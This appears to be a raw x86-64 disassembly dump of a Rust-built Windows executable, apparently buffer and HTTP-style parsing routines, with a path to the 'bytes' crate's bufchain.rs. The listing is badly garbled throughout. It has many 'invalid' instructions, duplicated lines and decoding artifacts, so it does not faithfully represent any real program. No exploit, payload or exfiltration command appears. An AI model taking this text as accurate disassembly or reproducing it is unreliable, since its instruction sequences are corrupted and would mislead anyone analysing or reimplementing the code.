add rax, r13
lea r14, [rsp + 0x38]
jmp rax
movzx eax, al
cmp eax, 2
jne 0x14009124b
mov r13d, 1
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x140091552
lea rcx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax], al
call qword [rax + 0x10]
xor eax, eax
xor ecx, ecx
test r13, r13
je 0x140090d76
mov qword [rsi], 2
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
add rsp, 0xf8
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r8d, 0x25
add byte [rcx - 0x34316ec], dh
invalid
mov cl, 0x14
jmp 0x140091243
mov r9d, 1
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
mov rax, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
test rax, rax
je 0x1400914d1
lea rcx, [rsp + 0x78]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
xor byte [rdi], cl
adc dword [rcx], eax
xor byte [rdi], cl
adc dword [rcx], eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140091665
movzx esi, byte [rdx]
mov rcx, r14
call qword [rax + 0x10]
mov al, 2
cmp esi, 0x1f
jg 0x140091634
cmp esi, 9
je 0x140091748
cmp esi, 0xd
jne 0x140091693
mov al, 4
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
movzx ebp, al
movsxd rax, dword [r13 + rbp*4]
add rax, r13
lea rsi, [rsp + 0x38]
jmp rax
cmp esi, 0x20
invalid
je 0x140091748
cmp esi, 0x3b
jne 0x140091693
mov al, 3
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
movzx ebp, al
movsxd rax, dword [r13 + rbp*4]
add rax, r13
lea rsi, [rsp + 0x38]
jmp rax
lea rdx, [0x14013fbb5]
mov r8d, 0x25
mov cl, 0x25
call fcn.140095880
add byte [rax], al
add byte [rax], al
mov r12, rax
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov rcx, r14
int1
jmp 0x140091217
test bl, bh
invalid
lea rdx, [0x14013fc76]
jmp 0x14009157a
std
invalid
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140091761
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
and al, 0x38
and al, 0x38
call qword [rax + 0x10]
mov al, 4
cmp esi, 0xd
invalid
invalid
je 0x140091748
dec byte [0x13e8c4f86]
or dh, byte [rdx + rdi + 0x48]
mov ecx, dword [rbx + 0x88]
invalid
cmp esi, 0xa
je 0x14009174f
mov rcx, qword [rbx + 0x88]
add byte [rax - 1], cl
ror dword [rax - 0x77], 0x8b
mov dword [rbx + 0x88], ecx
inc rcx
mov qword [rbx + 0x88], rcx
mov dword [rbx + 0x88], ecx
mov dword [rbx + 0x88], ecx
mov al, 3
cmp rcx, 0x3fff
lea rsi, [rsp + 0x38]
jbe 0x140091791
lea rdx, [0x14013fcc3]
mov r8d, 0x1b
jmp 0x140091241
lea rsi, [rsp + 0x38]
and al, 0x38
jmp 0x140091791
lea rdx, [0x14013fc9b]
mov r8d, 0x28
jmp 0x140091241
lea rdx, [0x14013fbb5]
mov r8d, 0x25
mov cl, 0x25
call fcn.140095880
mov r12, rax
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
jmp 0x140091217
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movzx ebp, al
movzx ebp, al
movsxd rax, dword [r13 + rbp*4]
add rax, r13
jmp rax
invalid
loopne 0x1400917fa
mov esi, dword [rbx + 0x80]
lea rcx, [rsp + 0x60]
mov r9d, 1
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
pop rax
pop rax
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
mov rax, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
test rax, rax
je 0x1400914d1
loop 0x1400917e9
invalid
lea rcx, [rsp + 0x78]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
and al, 0x30
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140091761
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
call qword [rax + 0x10]
cmp sil, 0xa
jne 0x14009183b
xor eax, eax
test r14, r14
sete al
ror byte [rbp - 0x3a7c7fd4], 5
ror byte [rbp - 0x3a7c7fd4], 5
jmp 0x1400918e9
lea rdx, [0x14013fc61]
in al, 0xa
add byte [rcx - 0x48], al
invalid
or al, byte [rax]
mov r8d, 0x15
mov eax, 0x15
adc eax, 0xb1000000
adc al, 0xe9
hlt
mov cl, 0x14
jmp 0x140091243
add byte [rax], al
lea rcx, [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
call fcn.1400955e0
add byte [rax], al
add byte [rax], al
mov al, 2
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
test rsi, rsi
je 0x140091d0f
add al, 0
invalid
add al, 0
add byte [rax - 0x73], cl
and al, 0x78
lea rax, [rsp + 0x78]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r14
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x140091936
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0xa0], xmm0
add byte [rax], al
add byte [rax], al
sub qword [rbx + 0x80], rax
mov qword [rsp + 0x90], rcx
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rax + 0xf], al
xchg esp, eax
invalid
add bpl, 5
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rax + 0xf], al
xchg esp, eax
invalid
lea rsi, [rsp + 0x38]
and al, 0x38
cmp byte [rbx + rcx*4 - 0x4c], cl
and al, 0x90
add byte [rax], al
add byte [rax - 0x78], al
imul edi, dword [rcx + 0x4d], 0xffffff85
test byte [rdi], 0x84
in al, dx
sti
mov r14, qword [rsp + 0x90]
mov byte [rbx + 0x79], bpl
test r14, r14
je 0x1400914ef
invalid
invalid
invalid
mov r12, qword [rsp + 0x98]
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xa8]
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rbp + 0x31], al
in eax, dx
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rbp + 0x31], al
in eax, dx
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
test r13, r13
jne 0x14009155f
jmp 0x140090d76
mov qword [rbx + 0x80], 0
call fcn.1400957f0
mov r12, rax
lea rcx, [rsp + 0x38]
mov rdx, r14
xor r8d, r8d
sar bh, 0x56
adc byte [rax + 0x748d4801], dh
and al, 0x38
sar bh, 0x56
adc byte [rax + 0x748d4801], dh
and al, 0x38
jmp 0x1400914d6
add byte [rax], al
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
cmp dword [rsp + 0x60], 0
cmp dword [rsp + 0x60], 0
jne 0x1400914d6
invalid
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
test rsi, rsi
je 0x1400919b3
push 0x24748b4c
jo 0x1400919de
test esi, esi
je 0x140091d0f
add byte [rax - 0x73], cl
and al, 0x78
lea rax, [rsp + 0x78]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
and al, 0x20
and al, 0x20
mov qword [rsp + 0x28], r14
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x1400919f3
movzx ebp, byte [r14]
lea rcx, [rsp + 0x38]
and al, 0x38
mov rdx, r14
call qword [rsi + 0x10]
mov al, 7
cmp bpl, 0xd
std
or eax, 0x24748d48
cmp byte [rbp + rcx*4 + 0x74], cl
and al, 0x38
std
or eax, 0x24748d48
cmp byte [rbp + rcx*4 + 0x74], cl
and al, 0x38
je case.0x140019144.2328
cmp byte [rdi], cl
test byte [rdx + 0x48fffffd], ch
lea edx, [0x14013fc35]
je 0x140091791
lea rdx, [0x14013fc35]
jmp 0x140091842
lea rdx, [0x14013fbb5]
mov r8d, 0x25
and eax, 0xb1000000
and eax, 0x3e79e8
add byte ds:[rax], al
and eax, 0xb1000000
and eax, 0x3e79e8
add byte ds:[rax], al
invalid
cmp bh, bh
invalid
add byte ds:[rax], al
jmp 0x140091946
lea rcx, [rsp + 0x60]
invalid
mov r9d, 1
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
pop rax
pop rax
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
cmp dword [rsp + 0x60], 0
add byte [rax + 0x7c834802], dh
and al, 0x60
add byte [rdi], cl
test dword [rdx + 0x48fffffa], esp
mov esi, dword [rsp + 0x68]
cmp dword [rsp + 0x60], 0
jne 0x1400914d6
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
test rsi, rsi
test byte [rdi], 0x84
enter 2, 0
test byte [rdi], 0x84
enter 2, 0
lea rax, [rsp + 0x78]
movups xmm0, xmmword [rax]
add byte [rax - 0x73], cl
and al, 0x30
add byte [rax - 0x73], cl
and al, 0x30
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r14
mov r8, qword [rsp + 0x30]
xor byte [rbp - 0x7b], cl
invalid
je 0x1400919f3
xor byte [rbp - 0x7b], cl
sal byte [rax + rcx*4 + 0x41], 0xf
mov dh, 0x2e
movzx ebp, byte [r14]
lea rcx, [rsp + 0x38]
and al, 0x38
cmp byte [rcx + rcx*4 - 0xe], cl
mov rdx, r14
mov edx, esi
call qword [rsi + 0x10]
mov al, 1
cmp bpl, 0xa
lea rsi, [rsp + 0x38]
lea esi, [rsp + 0x38]
lea esi, [rsp + 0x38]
lea r14, [rsp + 0x38]
je 0x140091791
lea rdx, [0x14013fc4a]
jmp 0x140091842
loope 0x140091aa0
add cl, ch
cmpsb byte [rsi], byte [rdi]
std
invalid
add byte [rax - 0x73], cl
and al, 0x60
lea rcx, [rsp + 0x60]
mov r9d, 1
mov rdx, qword [rsp + 0x50]
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x50
mov r8, qword [rsp + 0x58]
call fcn.1400955e0
invalid
mov al, 2
add byte [rax + 0x7c834802], dh
and al, 0x60
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
add byte [rdi], cl
test dword [rsi], ecx
cli
invalid
mov rax, qword [rsp + 0x68]
push 0x24548b48
jo 0x140091b1b
mov rdx, qword [rsp + 0x70]
test rax, rax
test eax, eax
je 0x1400914d1
lea rcx, [rsp + 0x78]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
add dword [rax - 0x77], ecx
and al, 0x20
add dword [rax - 0x77], ecx
and al, 0x20
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
test r8, r8
je 0x140091d50
test byte [rbp + 2], cl
add byte [rax], al
ror byte [rdi], 0x84
add r8b, byte [r8]
add byte [rdi], cl
mov dh, 0x32
test byte [rbp + 2], cl
add byte [rax], al
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
call qword [rax + 0x10]
cmp sil, 0xd
invalid
invalid
dec byte [0x1647da85e]
or eax, 0x24748d48
lea rsi, [rsp + 0x38]
sete al
or al, 8
cmp byte [rdi], cl
xchg esp, eax
ror byte [rax + rcx], 0x88
mov byte [rbx + 0x79], al
invalid
or byte [rax - 0x38b786bd], cl
test byte [rax + rdx*4], ah
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov dword [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movzx ebp, al
mov dh, 0xe8
movsxd rax, dword [r13 + rbp*4]
add rax, r13
add eax, ebp
lodsd eax, dword [rsi]
add byte [rcx + rax - 0x18], cl
add eax, ebp
add eax, ebp
jmp rax
lea rcx, [rsp + 0x60]
mov r9d, 1
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
pop rax
pop rax
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
mov rsi, qword [rsp + 0x68]
mov esi, dword [rsp + 0x68]
push 0x24748b4c
jo 0x140091bbb
invalid
mov r14, qword [rsp + 0x70]
and al, 0x70
test rsi, rsi
test esi, esi
je 0x140091d0f
add byte [rax], al
mov rdi, r13
mov edi, ebp
lea rax, [rsp + 0x78]
movups xmm0, xmmword [rax]
adc byte [rax], al
adc byte [rax], al
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
adc dword [rax], eax
xor byte [rdi], cl
adc dword [rax], eax
add byte [rax - 0x77], cl
je 0x140091bb6
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r14
and byte [rcx + rcx*4 + 0x74], cl
and al, 0x28
mov r8, qword [rsp + 0x30]
test r8, r8
xor byte [rbp - 0x7b], cl
ror byte [rbp + rcx*4 + 0x6c], 0x24
lea r13, [rsp + 0x38]
je 0x140091d1e
lea r13, [rsp + 0x38]
lea ebp, [rsp + 0x38]
je 0x140091d1e
movzx ebp, byte [r14]
movzx ebp, byte [rsi]
mov rcx, r13
mov rdx, r14
bnd call qword [rsi + 0x10]
bnd call qword [rsi + 0x10]
push rsi
adc byte [rcx], dh
rol byte [rax - 0x80], 0xfd
or eax, 0x8dc0940f
ror byte [rbp - 0x77f7bfbc], 0x43
jns 0x140091c11
invalid
test byte [rax + rdx*4], ah
nop
xor eax, eax
cmp bpl, 0xd
cmp ch, 0xd
sete al
lea eax, [rax + rax*2 + 8]
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
ror byte [rbp - 0x77f7bfbc], 0x43
jns 0x140091c11
mov dword [rsp + 0x90], 0
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx ebp, al
add byte [rax], al
movzx ebp, al
mov r13, rdi
movsxd rax, dword [rdi + rbp*4]
scasd eax, dword [rdi]
scasd eax, dword [rdi]
add rax, rdi
lea rsi, [rsp + 0x38]
and al, 0x38
and al, 0x38
lea r14, [rsp + 0x38]
jmp rax
push rax
mov r8, qword [rsp + 0x58]
pop rax
pop rax
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
invalid
cmp dword [rax], eax
add byte [rax + 0x7c834802], dh
and al, 0x60
add byte [rdi], cl
test ecx, eax
clc
invalid
sar eax, 0xff
dec dword [rax - 0x75]
je 0x140091c3d
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
test rsi, rsi
push 0x24748b4c
je 0x140091c42
jo 0x140091c68
test esi, esi
je 0x140091d0f
lea rax, [rsp + 0x78]
movups xmm0, xmmword [rax]
js 0x140091c3d
adc byte [rax], al
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
xor byte [rdi], cl
adc dword [rax], eax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r14
mov r8, qword [rsp + 0x30]
and al, 0x30
test r8, r8
je 0x1400919f3
invalid
std
invalid
invalid
movabs dword [0x482eb60f41fffffd], eax
lea ecx, [rsp + 0x38]
movzx ebp, byte [r14]
lea rcx, [rsp + 0x38]
mov rdx, r14
call qword [rsi + 0x10]
mov al, 0xa
invalid
or al, byte [rax - 0x80]
std
cmp bpl, 0xa
lea rsi, [rsp + 0x38]
or cl, byte [rax - 0x73]
je 0x140091c8d
and al, 0x38
cmp byte [rbp + rcx*4 + 0x74], cl
and al, 0x38
lea r14, [rsp + 0x38]
je 0x140091791
sti
invalid
dec dword [rax - 0x73]
adc eax, 0xae062
loopne 0x140091c85
invalid
lea rdx, [0x14013fcde]
loopne 0x140091c85
add byte [rcx - 0x48], al
invalid
mov r8d, 0x16
mov cl, 0x14
jmp 0x140091243
mov edx, 0x48fffff5
lea ecx, [rsp + 0x60]
mov r9d, 1
invalid
mov rdx, qword [rsp + 0x50]
push rax
mov r8, qword [rsp + 0x58]
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
invalid
invalid
clc
invalid
invalid
test dword [0x189091caa], esp
mov esi, dword [rsp + 0x68]
mov rsi, qword [rsp + 0x68]
and al, 0x68
mov r12, qword [rsp + 0x70]
mov al, 1
test rsi, rsi
je 0x140091d14
lea rax, [rsp + 0x78]
and al, 0x78
movups xmm0, xmmword [rax]
adc byte [rax], al
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r12
mov r8, qword [rsp + 0x30]
test r8, r8
jne 0x140091d7e
lea rdx, [0x14013fbb5]
mov r8d, 0x25
mov cl, 0x25
and eax, 0x3b82e8
add byte [rcx - 0x77], cl
invalid
and eax, 0x3b82e8
add byte [rcx - 0x77], cl
invalid
lea rcx, [rsp + 0x38]
mov rdx, r12
xor r8d, r8d
call qword [rsi + 0x10]
mov al, 1
mov r12, r14
lea rsi, [rsp + 0x38]
jmp 0x1400914d6
lea rdx, [0x14013fbb5]
mov r8d, 0x25
add byte [rax], al
add byte [rcx + 0x3b4ee825], dh
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x3b4ee825], dh
add byte [rax], al
mov r12, rax
mov rcx, r13
mov rdx, r14
xor r8d, r8d
xor eax, eax
invalid
xor eax, eax
call qword [rsi + 0x10]
mov al, 1
lea rsi, [rsp + 0x38]
je 0x140091d6b
cmp byte [rcx - 0x77], cl
std
je 0x140091d6b
cmp byte [rcx - 0x77], cl
std
jmp 0x1400914d6
lea rdx, [0x14013fbb5]
mov r8d, 0x25
mov eax, 0x25
mov eax, 0x25
and eax, 0xb1000000
and eax, 0x3b1ce8
add byte [rcx - 0x77], cl
invalid
mov cl, 0x25
call fcn.140095880
mov r12, rax
mov rax, qword [rsp + 0x20]
and byte [rax - 0x75], cl
push rsp
and al, 0x28
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov rcx, rsi
int1
int1
jmp 0x140091217
movzx ebp, byte [r12]
lea rcx, [rsp + 0x38]
lea ecx, [rsp + 0x38]
lea ecx, [rsp + 0x38]
mov rdx, r12
call qword [rsi + 0x10]
push rsi
adc byte [rax - 0x80], al
std
or dh, byte [rbp + 0x16]
push rsi
adc byte [rax - 0x80], al
std
or dh, byte [rbp + 0x16]
mov byte [rbx + 0x79], 0xc
lea r14, [0x14013db38]
mov r12d, 1
jmp 0x14009124e
lea rdx, [0x14013fc21]
mov r8d, 0x14
mov cl, 0x14
jmp 0x140091243
invalid
invalid
invalid
test byte [rdx + 0x4c000000], dl
sub eax, edx
mul r9
shr rdx, 6
add r10, 0x48
xor r8d, r8d
xor r8d, r8d
lea rax, [0x140177c58]
jmp 0x140091e10
mov r11, qword [r10 - 0x38]
add r8, r11
add r10, 0x50
dec rdx
je 0x140091e74
mov r11, qword [r10 - 0x48]
movsxd r11, dword [rax + r11*4]
add r11, rax
jmp r11
jmp rbx
jmp rbx
mov r11, qword [r10 - 0x30]
jmp 0x140091e04
movzx r11d, byte [r10 - 0xd]
sub r11b, byte [r10 - 0xe]
movzx r11d, r11b
add r11, qword [r10 - 0x30]
jb 0x140091f0a
add r11, qword [r10]
jae 0x140091e04
jmp 0x140091f0a
nop dword [rax + rax]
mov rsi, qword [r10 - 0x30]
mov r11, qword [r10 - 0x20]
cmp rsi, r11
cmp esi, ebx
cmp esi, ebx
cmovb r11, rsi
jmp 0x140091e04
mov r10, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
cmp r10, rax
je 0x140091f01
sub rax, r10
mul r9
shr rdx, 6
add r10, 0x48
add edx, 0x48
add edx, 0x48
lea rax, [0x140177c68]
jmp 0x140091eb0
invalid
nop dword [rax]
mov rcx, qword [r10 - 0x38]
add r8, rcx
add r10, 0x50
dec rdx
retf 0x5174
retf 0x5174
mov rcx, qword [r10 - 0x48]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov rcx, qword [r10 - 0x30]
jmp case.0x14001a5bd.2061
shr bl, 1
loope 0x140091f2a
nop word cs:[rax + rax]
invalid
movzx ecx, byte [r10 - 0xd]
sub cl, byte [r10 - 0xe]
mov dh, 0x4a
sub cl, byte [r10 - 0xe]
movzx ecx, cl
add rcx, qword [r10 - 0x30]
jb 0x140091f0a
add rcx, qword [r10]
jae case.0x14001a5bd.2061
jmp 0x140091f0a
mov r9, qword [r10 - 0x30]
mov rcx, qword [r10 - 0x20]
cmp r9, rcx
cmovb rcx, r9
jmp case.0x14001a5bd.2061
mov rax, r8
add rsp, 0x20
pop rsi
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
or eax, 0xafc1f
call fcn.140108690
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x478
movaps xmmword [rsp + 0x460], xmm6
sub dword [rsp + 0x460], esi
sub dword [rsp + 0x460], esi
mov rbp, rdx
mov rsi, rcx
invalid
cmp byte [rcx + 0x178], 0
je case.0x1400dc119.211
invalid
xor r12d, r12d
cmp qword [rsi + 0x160], 0
invalid
in al, 0x48
cmp dword [rsi + 0x160], 0
invalid
add byte [rbx], bh
mov ebx, 0
jne 0x140092038
mov qword [rsp + 0x30], rbp
mov r13, qword [rsi + 0xe8]
mov r8, qword [rsi + 0xf0]
mov rbx, qword [rsi + 0xf8]
mov ebx, dword [rsi + 0xf8]
mov ebx, dword [rsi + 0xf8]
mov rbp, qword [rsi + 0x110]
test rbp, rbp
mov qword [rsp + 0x28], rsi
je 0x140091fb1
mov rax, qword [rsi + 0x108]
mov eax, dword [rsi + 0x108]
xor ecx, ecx
cmp rax, rbx
cmovae rcx, rbx
sub rax, rcx
mov rdx, rbx
fimul dword [rax + 0x29]
ret 0x8948
jmp 0x1b6da48f3
invalid
fimul dword [rax + 0x29]
ret 0x8948
mov rdx, rbx
jmp 0x140091fbd
xor eax, eax
xor edx, edx
shr bl, cl
invalid
shr bl, cl
add al, 0x48
lea edx, [rax + rbp]
lea rdx, [rax + rbp]
xor ecx, ecx
mov rsi, r13
mov r15, r8
sub rsi, r8
mov r14, qword [rsp + 0x28]
mov rdi, qword [r14 + 0x100]
mov edi, dword [rsi + 0x100]
mov edi, dword [rsi + 0x100]
lea rax, [rax + rax*4]
add al, 0x80
shl rax, 4
add rax, rdi
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, rdi
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, rdi
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x60]
call fcn.140091dc0
add rax, rsi
jne 0x14009207a
mov rcx, qword [r14 + 0x140]
mov rax, qword [r14 + 0x148]
mov rbp, qword [rsp + 0x30]
mov rdx, rbp
call qword [rax + 0x28]
mov rbx, rax
mov r12, rdx
invalid
mov rsi, r14
invalid
test rbx, rbx
jne 0x140092058
test r12, r12
jne 0x140092058
mov rcx, rsi
int1
call fcn.140090a90
mov rcx, rsi
mov rdx, rbp
call fcn.140090b70
xor r12d, r12d
mov rax, rbx
mov rdx, r12
movaps xmm6, xmmword [rsp + 0x460]
add byte [rax], al
add byte [rax], al
add rsp, 0x478
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
lea rax, [r14 + 0xe8]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
cmp byte [r14 + 0x120], 0
mov rsi, r14
je 0x14009272c
invalid
xorps xmm6, xmm6
lea r10, [0x140177c78]
mov rcx, r15
nop word cs:[rax + rax]
mov eax, 0x38
nop word cs:[rax + rax]
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
mov dword [rsp + rax + 0x28], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + rax + 0x30], 1
mov dword [rsp + rax + 0x38], 0
add byte [rax - 0x39], cl
add al, 0x40
add dword [rax], eax
add byte [rax], al
cmp byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add al, 0x40
add dword [rax], eax
add byte [rax], al
mov dword [rsp + rax + 0x48], 0
mov qword [rsp + rax + 0x50], 1
add al, 0x50
add dword [rax], eax
add byte [rax], al
add al, 0x50
add dword [rax], eax
add byte [rax], al
mov dword [rsp + rax + 0x58], 0
mov qword [rsp + rax + 0x60], 1
add byte [rax], al
add byte [rax - 0x39], cl
add al, 0x60
add dword [rax], eax
add byte [rax], al
add rax, 0x40
cmp rax, 0x438
add byte [rax], al
add byte [rax], al
jne 0x1400920c0
mov rdx, r13
sub rdx, rcx
sub edx, ecx
jne 0x140092160
xor r9d, r9d
mov qword [rsp + 0x50], rdx
test rbp, rbp
mov qword [rsp + 0x48], rcx
je 0x14009219b
mov rax, qword [rsi + 0x108]
cmp rax, rbx
mov edx, 0
xchg byte [rax], cl
add dword [rax], eax
add byte [rax + 0x39], cl
fdivr dword [rdx]
cmovae rdx, rbx
sub rax, rdx
mov rdx, rbx
sub rdx, rax
mov r14, rbp
sub r14, rdx
jbe 0x1400921b0
mov r8, rbx
jmp 0x1400921b7
nop dword [rax + rax]
jb 0x1400928d8
mov rax, rdx
shr rax, 0x20
and byte [rdi], cl
test ebx, esp
invalid
add byte [rax], al
and byte [rdi], cl
test ebx, esp
invalid
mov rax, qword [rsi + 0xe0]
add rax, rcx
mov dword [rsp + 0x60], edx
mov qword [rsp + 0x68], rax
mov r9d, 1
mov qword [rsp + 0x50], rdx
test rbp, rbp
mov qword [rsp + 0x48], rcx
jne 0x14009212a
xor eax, eax
xor r8d, r8d
jmp 0x1400921b4
nop dword cs:[rax + rax]
lea r8, [rax + rbp]
xor r14d, r14d
mov edx, 0x40
add byte [rcx + rbp - 0x36], cl
sub rdx, r9
mov qword [rsp + 0x58], r9
shl r9d, 4
lea r11, [rsp + r9]
add r11, 0x60
invalid
invalid
lea rax, [rax + rax*4]
shl rax, 4
add rax, rdi
lea r13, [r8 + r8*4]
shl r13, 4
add r13, rdi
add ebp, edi
add ebp, edi
lea r12, [r14 + r14*4]
shl r12, 4
in al, 4
in al, 4
add r12, rdi
mov r15, rdi
xor r9d, r9d
mov qword [rsp + 0x38], rbx
jmp 0x140092215
xor eax, eax
add r14, 0x50
add r9, rax
mov rax, r14
cmp r9, rdx
je 0x140092420
invalid
add byte [rcx + rdi - 0x18], cl
cmp rax, r13
je case.0x1400dc119.213
mov r14, rax
jmp 0x14009223e
invalid
test r15, r15
je 0x140092423
cmp r15, r12
mov r12, rax
invalid
mov r15, rax
je 0x140092423
add byte [rax], al
invalid
add byte [rax], al
mov rax, rdx
sub rax, r9
ror byte [rcx + rbp - 0x38], 1
jb 0x140092847
add eax, 0x894d0000
enter 0xffffffffffffc149, 0xffffffffffffffe0
mov r8, r9
shl r8, 4
add al, 0x4d
add eax, ebx
add al, 0x4d
add eax, ebx
mov rcx, qword [r14]
movsxd rcx, dword [r10 + rcx*4]
add rcx, r10
add ecx, edx
add ecx, edx
jmp rcx
cmp rdx, r9
je case.0x1400dc119.215
mov rax, qword [r14 + 0x18]
test rax, rax
jne 0x140092301
add byte [rax], al
add byte [rax], al
jmp case.0x1400dc119.215
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
cmp rdx, r9
jne 0x140092323
xor r10d, r10d
cmp r10, rax
jne 0x140092377
test edx, esp
add byte [rax], al
add cl, ch
and al, byte [rcx]
add byte [rax], al
nop word [rax + rax]
cmp rdx, r9
je case.0x1400dc119.215
test byte [rdi - 1], dl
invalid
invalid
jmp 0x1400923bc
test byte [rdi - 1], dl
invalid
mov rcx, qword [r14 + 0x10]
mov eax, 0
adc byte [rax], bh
test rcx, rcx
je 0x140092202
mov rax, rcx
shr rax, 0x20
call 0xce8e31e5
invalid
add byte [rax], al
call 0xce8e31e5
add eax, 0x8b490000
or byte [rcx - 0x77], r8b
or byte [rcx - 0x77], cl
mov dword [rax + 8], eax
invalid
mov rax, qword [r14 + 8]
mov dword [r8], ecx
mov qword [r8 + 8], rax
mov dword [rax + 8], eax
mov dword [rax + 8], eax
jmp 0x140092319
nop word cs:[rax + rax]
cmp rdx, r9
add byte [rcx + rdi - 0x36], cl
je case.0x1400dc119.215
mov rcx, qword [r14 + 0x18]
